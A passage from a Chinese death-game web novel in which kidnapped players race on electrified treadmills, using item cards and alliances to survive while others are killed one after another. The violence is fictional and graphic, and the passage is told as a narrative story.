场地另一边,【暂停】效果结束的6号、7号、8号,脚下跑步机相继“嗡嗡嗡”重新运作;与此同时,手指装置继续转动至24号……
“——啊!不要!”
手指装置还没停稳,就听见28号短促地惊呼一声,铁笼电光四射!
“吱……啪!啪!吱……啪!啪!”
28号将手紧紧抓进两侧的铁网中!可怕的电流毫无顾忌贯入她的身体,瞬间将她电到失去意识……但求生的手指却仍牢牢卡住网格,导致跑步机的履带只能不停拖拽她的双腿
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,徒劳将脱脚的鞋子送入碎木机。
“嗤……”
“啪啪啪啪!!!”
耀眼的电光肆无忌惮,场面触目惊心,仿佛正在公开执行一场无情的电刑,惹得许多玩家不忍地避开视线。
“啪!”
“啪!!”
当手指装置又经过一名玩家时,恐怖的电击声才戛然而止,跑步机拖着28号僵直的身体,将她送入后方。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!!!”
除开碾得粉碎的部分,隐约能看到在28号铁网上,还夹着两根断掉的、已经烧成黑炭的手指……场地中弥漫起焦肉味,混杂在愈发浓郁的血腥气味中,令人作呕!
“剩余35人。”
……
“监控室”内,屏幕上的头像停止闪烁。
黑暗中没有人说话。
只有红蟹发出像是笑的声音,似乎还低低念了句:“开始了。”
……
“……sh*t!”
目睹了身旁28号死亡的全过程,27号的脸色变得十分难看。
她双眼不停抖动,被恐惧、嫌恶、绝望深深笼罩着。她朝右边看去,视线扫过19号到26号,接着又转头看向左边,那30号到38号的“免战区”。
最后,她的目光落在对面5号身上,轻声呢喃了句“Sheisright”后,下定决心般,脸上露出一抹奇怪的微笑。
“JesusChrist……”
27号主动停止奔跑,身躯随着履带倒向身后——“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
没人知道她为什么突然放弃,只知道她躺下的时候,眼神中那深不见底的绝望。
或许天堂会接纳她……或许不会……
“剩余34人。”
“呃!”26号高令嫌恶地撇开脸,不想受到旁边的影响。他跟25号已经结盟,目前处于比较轻松的状态。
游戏如同一场毫不留情的死亡风暴,席卷着每一条可悲的生命。
大家都在这场风暴中求生。
……
沈墨棠即便是处在走路状态,此时都微微喘息,那狼狈的声音惹来旁边1号和39号的侧目。
三圈过后,游戏时间接近20分钟。
对一些人而言,游戏已经到头;对另一些人而言,游戏才刚刚开始……每个人都想活下来,但游戏具有80%的残酷淘汰率,注定无法善终。
例如从19号到25号那堆“运动天团”,他们就算被【加速】、【加坡】,以当前场上最高强度“7公里/小时,坡度5°”的状态慢跑,也完全感受不到任何疲惫或者压力。
神色如常,眉目传情,有说有笑,仿佛相约在某个闲适的咖啡厅里喝着下午茶。
他们还能跑多久?再二十分钟?三十分钟?……又或者,一个小时!?
许多人就算原地罚站一小时,估计也够呛……
“卧槽勒!怎么又……!”杜泽峰的咒骂再次响起,他浑身是汗,恐惧地躲开视线——
他的上家,8号刚刚休息过,可当再一次重新跑起后,始终难以适应跑步节奏,一个不注意,竟下意识地伸手去扶铁网——
“啪!”
电光过后,血肉喷射!
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
“剩余33人。”
旁边的杜泽峰表情苍白痛苦,嘴里念念有词:5号说得对,这是个纯折磨的游戏,早淘汰跟晚淘汰可能没太大区别……
游戏进入第四圈。已经有7人被淘汰。
死亡还将继续……
1号,不使用道具卡。
2号,【暂停】。
3号,【暂停】。
4号,夏菲……
等下!3号使用【暂停】了?夏菲明显愣了两秒,担忧地瞥向右手边,“你累了?!”
17. 跑步了解一下6
3号无奈摇摇头,停下休息。
他体型精瘦,像是户外体力工作者。
游戏刚开始,夏菲就一眼就盯上他,进行了“结盟说服”,毕竟这是她的上家,身体素质也适合充当“肉盾”。
可……此时的3号气喘如牛,他一屁股坐在停止的履带上,半闭着眼睛,唇色微微变淡,仿佛要立即昏死过去。
这就跑不动了?
错愕的夏菲没能及时反应,直到十秒过后手指装置发出声响,经过自己,才猛地扭头,仿佛刚从一场大梦中惊醒一样!
她看向5号白衣女,脱口而出:“反向!”
意识到周围的人都盯着自己,夏菲立刻压低声音,嘴巴一开一合,似乎是在向5号解释新的策略,说话间,目光还不安地瞟了眼沈墨棠。
如果没猜错,沈墨棠已经和1号结盟,而2号的【加速】和【加坡】都已经使用,状态不比3号好……如果1号、2号、3号都被淘汰的话,夏菲的上家就会变成沈墨棠。
而沈墨棠一张牌都还没用。
不行……不能让这个女孩变成自己的上家!
夏菲在上一场游戏中,早已领教过沈墨棠的厉害,那种异于常人的冷静与思维逻辑,简直堪比魔鬼!
如果等到1、2、3号都淘汰了,夏菲再去使用【反向】的话,就已经被沈墨棠抢占先机了……所以,对于夏菲而言,此时提前调转游戏方向最为稳妥,至少会成为沈墨棠的上家。
并且……
夏菲微微垂下目光,不露声色地瞥了眼3号。
3号的【加速】、【加坡】都还没用掉,很难保证下一轮他会不会因为撑不住就拉别人下水……调转游戏方向后,就算3号想要拉人下水,也只能对他右边的玩家使用。
这也是夏菲为何如此着急要使用【反向】的缘故。
虽然心里考虑了很多,但短短的几秒内,夏菲只能用最简短直接的话语说服5号,两人的低语被嘈杂的跑步声和碎木机的声音掩护,连3号都听不见。
4……
3……
2……
5号略微思索,看了6号一眼,在最后一秒终于点头,“嘀嘀”按下【反向】。
“咔——”
如道具卡所说,场地中央的手指装置在倒计时结束后,开始反向逆时针旋转,又重新对准4号夏菲。
这是游戏进行到现在全场的第一张【反向】,吸引着所有玩家的关注,大家都想看看道具卡的具体功能表现,也想知道夏菲接下来想做什么。
只见夏菲唇齿轻启,又对坐着休息的3号说些什么。
“呵……呵……呵……”
沈墨棠一边走,一边发出沉重的喘息声。
如果2号和1号淘汰了,那么3号还没使用的【加速】和【加坡】就能直接用在她身上……等3号也淘汰的话,夏菲也可以直接对她使用【加速】、【加坡】。
【反向】的作用,完全是调转了每个玩家的枪口,让原来的“上家”变“下家”,“猎人”变“猎物”。
不管怎么样,夏菲这一手,对于她和5号而言,都是稳赚不赔的买卖。
真是精打细算的女人啊!原先干会计的吧?
沈墨棠始终垂着眼,丝毫没有掩饰自己的疲惫。
“卧槽!你们搞事啊!”另一个方向,9号杜泽峰破口大骂。
他神色痛苦,脚步虚浮,身体晃动幅度巨大,看样子随时都会停下,“槽……的……怎么,转……回去了?给老子……回……来!”
他刚才忍着【暂停】不用,就是打算再坚持一圈。
想着一分钟的【暂停】休息时间尤为宝贵,下意识省着用。
可此时好不容易等手指快转到自己,又被人【反向】转回去了?那岂不是要再绕一整圈才能从另一边轮回来?!
目前存活人数还有30多,一圈下来怎么着也得五分钟。
我能坚持得住吗?
“槽……呀……!”
杜泽峰只能破口大骂,仿佛是在健身房做了过量的锻炼,靠意志力坚持许久,本已经打算休息,却强行被要求“再来一组”的感觉……绝不好受!
4……
3……
2……
1……
十秒过后,3号没有行动;手指逆时针转到2号,她在休息,没有行动;1号也没有行动,只是看了眼沈墨棠,似是关心:“你还行吗?”
沈墨棠埋头走路,只能用沉重的喘息声回应。
手指装置转过1号、40号、39号……
39号不经意看向沈墨棠,若有所思——从上一轮开始,沈墨棠似乎就开始喘气了。
沈墨棠是全场的最后手,而自己也一直没给她【加速】【加坡】,她却连走路都气喘吁吁……
这样的人,在这场体能游戏中真的能走到最后吗?
如果她已经这样艰难了,难保她不会拖人下水,现在她又是自己的上家……
“呀呀啊啊啊!!!”
另一边,杜泽峰猛地爆发声嘶力竭的哀嚎!他双臂摆动得十分夸张,面红耳赤,挥洒的汗水落在周围的铁网格上,不断“呲呲呲”作响,“我槽啊!我撑不住了!我还没‘休息’过啊!我不想死啊!”
随着绝望的叹息,杜泽峰奔跑的双腿忽然一软,重重摔在跑步机上。
“我要【暂停】……!”
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!!”
这个满嘴脏话的男人彻底失去声音,化成一场华丽的喷泉表演。
“剩余32人。”
广播过后,手指再次经过38号到30号的“免战区”——从38号到31号,这八名玩家始终维持着“7公里/小时,坡度0”的慢跑强度,而能达成这种平衡的却是30号,毕竟那个中分头男人愿意自己吃亏,才让后面的几人形成一个暂时联盟。
场上其他玩家都明白,如果让“免战区”继续这样保守下去,那其他人的生存几率会大大降低。
可是游戏最终幸存的只能有八人,他们必不可能全都活下来,此时也只不过是相互制约着罢了。
在这残酷的规则下,这九个人就像火药桶里的火药,目前相互保持静止。但只要投入丁点的火星,后果就不堪设想……
谁都不愿意死的那个是自己……
39号没使用道具,38、37、36也没有;当手指装置指向35号时,她按下了【暂停】。
之后是34、33、32、31……
“嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
当手指挪向31号时,她正对面的17号铁笼毫无征兆地被飞溅的血肉染红——17号一声不吭地淘汰了!
“剩余31人。”
染血的铁笼就在18号赵莹莹旁边。不知道17号淘汰前是不是跟赵莹莹说过话,此时她双眼泛红,噙着泪花。旁人一眼看去,隔着铁笼都都能看到她的无助、悲伤、绝望、认命……无论从精神、心态、还是体能来看,她都已经是强弩之末。
赵莹莹,应该很快也要被淘汰了……
……
“主持人,新人选拔的游戏,真的是随机抽取的?”
“是的呢。”红蟹笑着回应:“东庄,你想问的是这个游戏吧?”
东庄低低“嗯”了一声。他心有不甘:“跑步了解一下,已经被证明是不公平的游戏!为什么还没被移出游戏池?”
黑暗中沉默了片刻。
“
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东庄。”
红蟹再次笑起来:“所有游戏都不公平。”
“世界上没有绝对公平的游戏!就算是最古老,传承最久的棋类游戏,先手优势也是巨大的……每个人的体能、脑力、心性都不一样,每个人擅长的也不一样,每个人对‘公平’的要求也不一样……任何游戏,都不会公平……这才是乐趣所在!”
“河马和猎豹比短跑、麻雀与苍鹰比滑翔、金鱼跟鲸鱼比游泳……看似不可理喻,毫无悬念的事情,只要创造有利的条件,就能拉近差距,甚至扭转胜负。”
“这才是永夜城需要的人。”
红蟹说完,似乎诡异地嗤笑两声。
……
“嘀嘀。”
29号使用了【暂停】。
若是换成平日,他的慢跑能力不至于如此孱弱,咬咬牙,都能跑得更长,更久。
可身处生命威胁下,周边都被残酷的死亡笼罩,再加上之前不知昏迷了多久,挨饿了多久……所有一切都加剧精力和体力的消耗。
28号的死亡,还有27号的自我放弃,都对29号造成不小的冲击。
之前是谁说的来着……早死少受罪?
“快不行了呀!不行了呀!哈哈哈!”
5号。
她的声音再一次响彻全场,她的身姿像是加油打气般拍了拍手,冲旁边的6号笑道:“小妹妹呀!你没事吧?!”
6号体力早已见底,就算刚刚休息过一分钟,也是杯水车薪。
“好……饿啊……”她脸色惨白,表情既痛苦又迷离,意识飘忽,“我不想死在这……我想回去……奶奶,我想吃你的做绿豆汤……”
6号的左手边,7号也没好到哪去。
他一次次呼喊着,为自己打气:“我!我是……狼!狼行千里吃……!”这次口号还没喊完,脚下便倏地一软,“扑通”摔向后方——“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
“剩余30人。”
“吱!啪啪!”
电光一闪,6号也瘫倒的身体撞在铁网上,也跟着淘汰。
7号铁笼的血还没喷完,6号碎木机便迎来工作。“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
鲜血喷泉此起彼伏!
“剩余29人。”
“呀哎哟诶!”5号稍稍缩了下身子,生怕被溅一身。
随着淘汰人数迅速增加,幸存的玩家也都更加严肃。
游戏近半个小时,每位玩家最初执行的游戏策略、建立的优劣态势、个人体能之间的绝对差距……一切都共同左右着游戏结果。
有的人仍旧轻松,有的人已经直面死亡。
“——咔。”
手指装置继续转动。
“要命玩意儿!狗杂种!”
2号发出一声精疲力尽的谩骂,拼尽最后一口气扔出手中一只高跟鞋往前砸!
“俺想活着啊!太遭罪了!”她似乎是在尝试敲开铁笼,可唯一的作用只是让铁网的高压电发出“滋滋”两声。闪烁的电光中,她伸手拿着另一只高跟鞋往铁网上够……
“啪啪啪!”
2号僵直的身体如一座沉重的木雕,很快被送往后方。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
鲜血四溅,警示着所有妄图挑战“电网”的愚蠢行为。
“剩余28人。”
淘汰的频率越来越快了……白热化的汗水,白热化的死亡……
很快,红灯打在18号铁笼上。
赵莹莹没有任何反应,只是闭眼大口喘气,身体大幅度左右摇摆,四肢仿佛不受控制。她脸上的泪痕还没干透,又被汗水覆盖,然后再蒸发。
宛若雨中挣扎的娇弱蝴蝶。
18. 跑步了解一下7
“嗤嗤嗤嗤!!”
手指装置还指着赵莹莹,而“免战区”里,35号的碎木机开动了——35号身体似乎并不好,重新跑起来后极为吃力,没一会儿就往后摔去。
“剩余27人。”
半空中响起的广播,提示着游戏继续。
“免战区”有人淘汰,致使场上氛围出现了一丝微妙的变化。但对于19号到25号的“运动天团”来说,影响不大,他们对自己的体能仍有自信。
“曹老师,您刚才说您来过这个地方是什么意思?”
一片嘈杂的跑步环境中,31号洛丽塔女生一步步走路,微微侧着脸看向右手边的30号。
30号伸手将头发拨向两边:“米米,实话说,我也……说不准,但……有种熟悉的感觉……”
“曹老师……”
“专注跑步,我们尽量争取活下来,或许下一场游戏我们就清楚了……”
……
因为【反向】的效果,赵莹莹的下家变成14号叶小霓。
叶小霓的跑动幅度很大,嘴唇发白,身上的衣服已经被汗水浸透。从“手指”指向赵莹莹起,叶小霓就一直紧张地盯着赵莹莹。
叶小霓也想使用【暂停】休息,但就怕赵莹莹会多生事端——要是她使用【反向】或者【跳过】,那叶小霓恐怕就是下一个用不出【暂停】而淘汰的“杜泽峰”!
生死攸关,叶小霓甚至都没注意到对面区域发生的死亡,只是尽力隐藏自己快到极限的痛苦,不表现出来,等待赵莹莹倒计时结束。
4……
3……
2……
1……
倒计时从10数到1,好像过了很久很久,一直到红灯打在自己的笼子上——叶小霓才松了一口气!
赵莹莹没使用道具。
叶小霓赶紧“嘀嘀”按下【暂停】,终于能够稍作休息了!
沈墨棠喘气声中,不露声色地瞥了眼叶小霓。
在沈墨棠的印象中,叶小霓长相并不出众,人也不会来事,集体活动时经常像是透明人一样,让人很难注意到。
但每次集体活动,她又都能坚持到最后,帮忙把所有东西都收拾了才离开。
并不闪耀,存在感却还是有的。
“你这大妹子……还真能跑!我也不能输呀!”
13号感慨了一句,也赶紧使用【暂停】;在往前11号也使用【暂停】……这几个人离杜泽峰很近,有了杜泽峰“抱暂停而终”的例子之后,每个人到了该【暂停】的时候就赶紧使用,生怕重蹈覆辙。
能多坚持一分钟,就多一份生存的希望。
毕竟场上的人已经不多了:
1号到10号,有六个安静的“血笼子”,存活的只剩下1号、3号、4号、5号。
11号到20号,还有半数存活,分别是11号、13号、14号、18号、19号、20号。
20号到30号,基本存活,只有27号、28号死亡。
30号到40号,也基本存活,只有35号死亡。
从死亡人员上分析,除了那些自身体力好的之外,结成联盟的存活率也比较高;而那些单打独斗的,没有及时联盟的,基本都已经死亡。
游戏规则虽然简单,但还是有策略空间。
没有联盟的成员肯定会被针对,可能要等他们被全部淘汰完,游戏才会迎来真正的厮杀时刻!
场地中央的手指装置移动了一个很大的幅度,跳过那六个安静的“血笼子”,指向5号。
5号白衣女和4号夏菲已经联盟,两人都不使用道具。
接着“手指”指向3号,他几乎没有犹豫,直接按下【加速】!
“嘀嘀。”
由于2号已经淘汰,因而1号遭受“攻击”!
“嗡嗡嗡……”
“不是吧……不是吧……”1号逐渐慢跑起来。第一次感受到速度的加快,他稍显慌乱,回头看向沈墨棠。
不知道从什么时候开始,沈墨棠已经在履带上略显踉跄,走路都有些不稳,气喘吁吁,看样子似乎会比1号更早淘汰。
如果1号撑不到下一圈,那3号就还有一个【加坡】,能用在沈墨棠身上;就算1号和3号都淘汰了,夏菲也会成为沈墨棠的上家。
“喂,你把道具用掉啊!”1号没跑两步便开始喘气,催促沈墨棠赶紧使用道具。
沈墨棠行尸走肉般,埋头行走,任由手指装置经过自己,转向39号。
10……
9……
8……
“该动手了吗?”
39号边跑边观察着沈墨棠的状态,又看向另一侧的38号、37号……目前有十多名玩家淘汰,一圈游戏的时间缩短到五分钟左右。
自己如果再犹豫下去,有可能会错失对“免战区”其他人的先手优势。
毕竟此时游戏的方向是逆时针,要是等会被人使用了【反向】变回顺时针,那自己就成了38号的下家。
7……
6……
5……
39号对沈墨棠问道:“你还能坚……”
话没说完,就看见沈墨棠愕然抬头,目光复杂地望向场地对面。
顺着她的视线看去,场地对面的18号,赵莹莹的身体轻盈,衣袂翩跹,仿佛一只坠落的蝴蝶,往后消失在众人视野当中……
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!!”
“唔!?”
沈墨棠瞳孔微颤,似乎第一次知道自己会有这种反应。
赵莹莹……瞬间在眼前变成一道血瀑布……
她左手食指随着心跳加快,“哒哒、哒哒”地敲打大腿外侧。
我也会变成那样吗?也会这样死掉吗?这是我想要的人生谢幕方式吗?
“剩余26人。”
“扑通、扑通、扑通。”
心率、脉搏迅速加快,身体内那无比陌生又常年相伴的感觉令沈墨棠愣在原地。
2……
1……
39号似乎是被赵莹莹的死吸引了注意力,在10秒内没选择使用道具,于是手指往38号挪动。
“看到那个女的了吗?”沈墨棠突然开口。
39号听着左边响起的声音,回头时显然有点意外:“啊?”
“那是我同学。”沈墨棠神色黯然,颓然垂首行走,像是在自言自语:“上一场游戏,我让她走,她犹豫了。”
顿了顿,又道:
“现在,死了。”
……
“还没结束吗?”监控室内,北庄又回来了,她漫不经心地问。
东庄冷哼:“你怎么回来?”
“也没规定我不能回来看看嘛,万一能捡个漏呢?”北庄笑笑,接着说道:“沈墨棠这是怎么了?表情有点不对呢……是因为好同学淘汰了在伤心吗?”
东庄默默回应:“她最好不要……永夜城里,最不缺的就是这种东西!”
“南城的朱二筒呢?”
“她不算。”
“唉。”北庄罕见地叹了口气:“东庄弟弟,你说小南手下……怎么尽是一帮能人强将嘛?”
东庄没有回应。
“好啦!我刚刚已经挑完新人了,”北庄的声音逐渐远去,“接下去,在‘新人战’上等你的沈墨棠啦!东庄弟弟。”
……
手指转动,游戏继续。
“免战区”内,除了37号和33号使用了【暂停】,其他人都选择不使用道具。
即便是忽略接下去的“运动天团”,免战区的这八个人究竟能不能一直“免战”到最后,也很难说。
手指装置继续运转。29号,不使用道具……可他正不停眯起眼睛,防止额头汗水滑入,前胸后背早就湿的透透的,跑步姿势歪七扭八,估计也快不行了。
此时,又有玩家坚持不住了——13号“轰”的一声倒下,让履带送往后方……
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
“剩余25人。”
“呼……呼……呼……”
又死一个。29号眯起眼睛一阵窃喜。
手指装置继续转动。
26号高令,不使用道具。
25号体院男大,不使用道具。
24号【暂停】。
全场的目光迅速集中到24号身上——这是运动天团中第一次有人使用【暂停】!
他们也快不行了吗?
没错,这些人身体条件再怎么好,也都是人而已!这群人里除了21号罗钧钧,其他玩家都已经“加速”、“加坡”高强度跑到现在,肯定也会累!
23号不使用道具;22号也气喘吁吁按下【暂停】,趁着跑步机停下的时间,将衣服和帽子都脱掉,擦了擦身上汗水,恼怒般将它们丢进后面碎木机里。
“呲呲呲呲呲……”
“运动天团”里越来越多人使用【暂停】了!
对其他人而言,这毫无疑问是振奋心神的迹象!
21号罗钧钧转头冲20号说什么,把20号逗得哈哈一笑,于是20号又将笑料传递给另一边的19号。估计20号也和19号联盟了,或者达成某种协议,总之20号的【加速】、【加坡】也没有用在19号身上。
随着跑步时长的累积,19、20、21号这三人似乎才刚刚分泌多巴胺,愈发轻松愉悦。
也许对他们而言,这场游戏实在太简单了。只要靠体能硬抗就行,根本不需要动脑。
“呵……呵……呵……”
沈墨棠再次低下视线,调整呼吸,平复心情。刚才面对赵莹莹的死亡后,她就一直尽力控制自己的心率。做着运动心率本来就快,要是再这么放任自己心跳加速,恐怕会提前猝死。
游戏最后有八个存活名额,目前体能区里只有19、20、21三个人表现得游刃有余,其他人还是存在一定的力不从心。就算让19、20、21这三个“体能怪”留到最后,也还有五个存活名额可以争取。
换个角度,可以看作其他玩家是在玩一场“只有五个人能活下来”的游戏。
场地前半边,大半玩家都已淘汰。
粗看过去,一堆的“血笼子”中间,只剩下两个女生努力奔跑——14号叶小霓,以及11号,那个穿得像摇滚明星的女孩。
手指装置经过两人时,两人只是闷头奔跑,挥汗如雨,没有半点反应。
再往前,是5号白衣女、4号夏菲。这两人都还处在散步状态。
再往前,3号疲惫的身体出现一瞬间失衡,本能扶了一下铁网格!
“吱吱吱……啪!”、“嘀嘀!”
两道声音同时响起!<
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3号在最后一刻按下了【加坡】!
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
身后的碎木机响起,瞬间吞噬了他的血肉!
旁边夏菲身体不由得一抖。
“剩余24人。”
“怎么这样……尼玛……”1号的恶毒问候紧随而来——即便3号死了,他临死前的【加坡】还是生效了。
“呃!”
1号面露苦色,适应跑步机坡度的提升。
越到最后,玩家的体力流失就越厉害,等跑到极限,不管是【加速】还是【加坡】,对于玩家来说都是致命打击。
游戏进行到现在,虽然“免战区”那边看上去很有机会的样子,但实际上,他们能笑到最后的概率非常低……他们的体力几乎都快要见底,这时候只要39号一个【加速】或者【加坡】,就会形成连锁反应……局面很快会再回到5号最开始想的样子。
淘汰掉比自己更有优势的人,才能获得最终的胜利。
沈墨棠保持着沉默,似乎连喘息声都消失不见,只是埋头行走着。
沈墨棠左手边的1号估计也快撑不下去了,所以夏菲很快要成为她的上家,手里还捏着【加速】、【加坡】……沈墨棠右手边39号手里的这两张牌也还没用,若是他也将它们用在沈墨棠身上,那么面对左右4张道具的夹击,沈墨棠必死无疑!
她不怕死,但她没打算这么死。
面对越来越强的压迫感,场上玩家似乎开始对接连的死亡逐渐麻木,仿佛这只是一件普通又平凡的小事,仿佛人和人之间,就是这种关系——在相互竞争中,要么坚持跑到最后,要么中途倒地死去……
有的人停下来就再也无法重新启动,有的人停下来就是死亡,有的人连停下来的机会都没有……人们在奔跑中存活,也在奔跑中死去……庸庸碌碌,熙熙攘攘,麻木不仁。
曾经她想过不停地跑,直到一辆飞驰的列车赐予她死亡……
沈墨棠听见右手边响起“嘀嘀”声,才打断了她的思绪——
39号最终按下【加坡】!
可能是觉得沈墨棠快不行了,又始终没有对他使用道具,他下意识觉得沈墨棠对他威胁不大……
39号开始把目光投向“免战区”,对“免战区”的其他玩家发起进攻!
沈墨棠垂眼,深吸一口气。
最后的席位争夺,正式开始了!
“嗡嗡嗡……”
38号怒目圆瞪,似乎没想到39号会对他使用道具。只见39号一张嘴张张合合,骂着粗话,打量面前四张翻转过来的道具卡。
38号似乎想着什么,跟37号低低说了几句话,随后在10秒倒计时内没使用道具。
见此场景的玩家都皱了皱眉——“免战区”还打算继续保持?
“嘀嘀。”
37号毫不犹豫用了【加坡】!
“你做什么?”36号大声质疑,只不过也想不了太多,因为手指已经指向他。
——【加坡】!
34号,【加坡】!
33号,【加坡】!
32号,【加坡】!
……
终于开始了!
保持近半个小时的“免战区”土崩瓦解!
碾碎生命的车轮开始向前滚动!
“老子公司马上上市了呀!!!”
“吱……啪!”
34号铁笼亮起强电光,跑步机的坡度突然改变,他的手臂碰到了铁网格,僵直的身体先是撞在旁侧,又被履带拖向后方,成为这场变态游戏的又一个牺牲品。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
“剩余23人。”
31号喘着粗气,她任由手指经过自己,没对30号使用任何道具。
30号很早就一直处在“7公里/小时,坡度5°”的状态。
与此同时,33号发出“呵”的一声绝望喘息,身体往下一沉——
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
“剩余22人。”
“吱吱……啪!”
36号刚声嘶力竭地喊了句“干老子要活着!”,下一秒就触电淘汰。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
“剩余21人。”
认识的,不认识的一个个倒下……接二连三的鲜血喷泉,将恐惧散播给所有人……仿佛是一场雪崩,从最初散落的雪块,很快演变成无法阻挡的大灾难。
绝望滑进深渊,抽干每个人的力气。
越是觉得没希望活下来的玩家,就越会慌乱,也越发地内耗自己。
红灯照下的时候,29号浑身颤抖,来回晃了几下身子,表情半哭半笑,十分吊诡。
倒计时宛若死神镰刀坠落的提示。
“老子……要……要干死这个破游戏!!!”
“吱吱吱!啪啪啪!!”
很快,电光四射,将他的身体弹回后方……
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!!”
“剩余20人。”
……
死亡盲目向前,如同没有目标的蚁群,走向毁灭的绝望螺旋。
游戏至此,已有半数玩家淘汰。
接下来的进度只会更快。
手指指向26号,高令。
19. 跑步了解一下8
“嘀嘀”——【暂停】。
随着游戏的进行,各种死亡场面越发惊悚。短短半小时,高令仿佛坐了几趟死亡飞车。
他必须及时停下来休息,调整好状态,才不会被环境影响。
“运动天团”当中,这次只有他跟23号选择了【暂停】。
……
“啪!”
14号铁笼电光一闪!
那不祥的动静令沈墨棠抽了下眉头,脚下略微趔趄,迅速调整呼吸。她尝试过将视线挪开,但无济于事——
叶小霓在掉入碎木机的前一刻,两只眼睛直勾勾地看向这边……沈墨棠从她脸上清楚地读到三个字:活下去!
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
鲜血如盛开的花簇!
“还剩19人存活。”
沈墨棠双腿发酸。
不……
这个世界,不该是这样的!
人之所以感到绝望,是因为世间万物皆无趣,太阳底下没有新鲜事,只能一遍一遍经历轮回,一遍一遍机械重复发生过的无聊事。
还以为……这个神秘的非法组织……这个“死亡游戏”所提供的,是摆脱这一切的办法。
然而……
越来越多的血液和生命刺激着作为人的底线,沈墨棠此时才真切意识到,这里不是解药良方,而是——变态的动物园!
“扑通、扑通、扑通……”
“哒哒、哒哒、哒哒……”
沈墨棠面红耳赤,呼吸急促,心跳加速到几乎要蹦出胸腔。
这是第几次了……太快了……要慢下来……她强迫手臂摆动,尝试让左手手指不再敲打,同时降低心率。
这种残忍游戏的主办方到底是谁?!
设计这些反人类的游戏、绑架监禁无辜的人们、一次次考验着人性的弱点、逼迫人们为了活命而互相残杀……是谁?是谁在操控着这一切?
沈墨棠目露凶光,看向19号到11号之间,七个宛若炼狱的空荡血笼子,难以想象它们刚刚吞噬了七条活生生的人命。
她突然觉得,自己应该活下去!
活下去,找到背后的主办方,看看背后究竟是谁在操纵着这个荒诞游戏!找到这一切的真相,揪出那个让所有人都狼狈不堪的家伙!
对。
活下去!应该要活下去!
……
造型摇滚的11号女人,她细腻的发丝黏在苍白的脸颊上,身体的喘气和跑步节奏出奇一致,相比刚才反而平稳许多。看来她已经冲破“极点”,完成“第二次呼吸”。
跑步这项运动,除了比体能和策略之外,很多时候也考验着跑者的心性和意志。
特别是在“死亡游戏”中,后者的重要性不可言喻!
因为有半数玩家淘汰,现在游戏进行一圈的时间只需要三分钟。
沈墨棠听见右侧响起“嘀”的声音——39号使用了【暂停】休息。
接着38号也使用了【暂停】。再往前,37号、32号、31号都在坚持。
“手指”指到30号。他观察全场,考虑自己和身旁31号的状态,觉得是时候该做出行动了。
“曹老师……”
“米米,你就当作这一切都是梦……总之你要坚持住。只要坚持住就行。”30号说着,手指按下道具卡【加坡】。
由于29、28、27已经淘汰,所以30号的这张【加坡】作用于26号高令身上!
30号忍了大半场,终于开始进攻了!
高令只能默默接受,张口呼吸,紧闭双目……接着,手指装置转过26、25、24……一直又转回到沈墨棠,又过了三分钟。
场面出现短暂的“纳什均衡”状态,每个玩家心里都清楚,目前自己能做的都是最优决定,谁都没有再行动,任由游戏继续。
耐力、心性、意志……这三者对游戏的最终结果至关重要!坚持到现在这种地步,还存活的人求生欲望都较为强烈,谁也不想轻易放弃。
又一圈,三分钟。
“嗤嗤嗤!!”
“嗤嗤嗤嗤嗤!!”
“嗤嗤嗤嗤嗤嗤嗤!!”
37号、32号、24号相继淘汰。
“剩余18人。”
“剩余17人。”
“剩余16人。”
……
时间已经过多久了?
肯定超过半小时了。
40分钟?50分钟?1小时?场地没有时间显示,手指一圈一圈走着,玩家一个接一个淘汰……
只剩下16个人了。再有一半玩家淘汰,游戏就能结束了。幸存者将在这其中产生。
挣扎在生死边缘的玩家们,逐渐失去时间概念,只剩下身体对疲惫的感知。那种极度的饥饿、疲乏、紧张和绝望,蒸发的汗水仿若一层裹尸布,低低地笼罩在场地中央。
目前,仍有三位维持初始状态的玩家:4号夏菲、21号罗钧钧、40号沈墨棠。
连她们都觉得身心俱疲,更别提其他人了。
场上只剩“嗡嗡嗡”的机械声,以及跑步、喘息,还有时不时出现的短促哀呻、干呕。犹如风暴中心,嘈杂而死寂。
忍受不住煎熬的人,将率先打破僵局。
“嘀嘀”、“嘀嘀”——先是1号用掉了【暂停】,然后是39号用掉了【加速】。
沈墨棠看向两侧。她清楚,如果1号淘汰,夏菲马上会成为她的上家。
然而此时的夏菲,正神色复杂凝望着场地对面。
4号对面,是26号,高令。
高令狼狈不堪,原本蓬松的刘海已经全部贴到额头两边,被汗水浸得湿漉漉。他两眼凸出,因为极度的疲惫而挂起黑眼袋,原本深邃的眸子里此时空空荡荡,透着一股死气。
他,已经到尽头了。
夏菲张了张嘴,最终挪开视线,什么也没说。
场地对面,像是一条风筝线终于被扯断,高令无力喘息着,身体迅速向后,悄无声息落入碎木机中。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!”
“剩余15人。”
与此同时,沈墨棠右侧,有人破口大骂:“槽你大爷的!真要弄死我呐!!!”
那是来自38号光头大叔,正指着39号骂——因为39号的【加速】,38号跑步机“嗡嗡嗡”转得更快,看样子速度至少提升到将近9公里/小时!
这也是目前全场的最高跑速!
38号尽全力狂奔,游戏进行到现在已经快1个小时了,接下来他还需要加速冲刺。
